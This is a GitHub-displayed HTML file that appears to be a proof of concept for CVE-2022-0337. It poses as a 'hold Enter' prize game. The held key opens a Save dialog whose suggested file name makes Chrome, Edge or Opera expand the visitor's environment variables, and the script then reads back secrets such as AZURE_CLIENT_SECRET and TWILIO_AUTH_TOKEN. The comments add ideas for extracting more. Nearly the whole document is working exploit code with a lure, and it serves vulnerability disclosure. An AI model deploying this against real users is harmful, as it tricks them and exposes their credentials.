-
Notifications
You must be signed in to change notification settings - Fork 34
/
env.html
143 lines (128 loc) · 3.91 KB
/
env.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<html>
<head>
<title>
CVE-2022-0337 System environment variables leak on Google Chrome,
Microsoft Edge and Opera
</title>
<meta charset="UTF-8" />
</head>
<style>
body {
background: rgba(29, 48, 109, 0.849);
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
}
h1,
h2,
h3 {
-webkit-text-stroke: 1px #00000050;
}
h1 {
color: #d96c06;
font-size: 36px;
}
h2 {
color: #1ebe8e;
font-size: 46px;
}
h3 {
color: #c6f91f;
font-size: 18px;
}
h2 span {
color: #cf4848;
font-size: 70px;
}
#author {
font-size: 28px;
}
span {
font-weight: 100;
}
</style>
<body>
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
<!-- div used to click to open Save As dialog -->
<div id="pixel"></div>
<h3 id="userInfo"></h3>
<h1>Super Simple Game<span>😻😻😻</span></h1>
<h2><span>⌨️HOLD ENTER</span> for 2 seconds</h2>
<h3>win $1,000,000 and rule the world! <span>🔥🔥🔥🚀</span></h3>
<h3 id="author">
Author:
<a href="http://pulik.io" style="color: rgb(49, 161, 252)"
>Maciej Pulikowski (pulik.io)</a
>
<span>🧙🐱👓</span>
</h3>
<h3 id="gameover"></h3>
</body>
</html>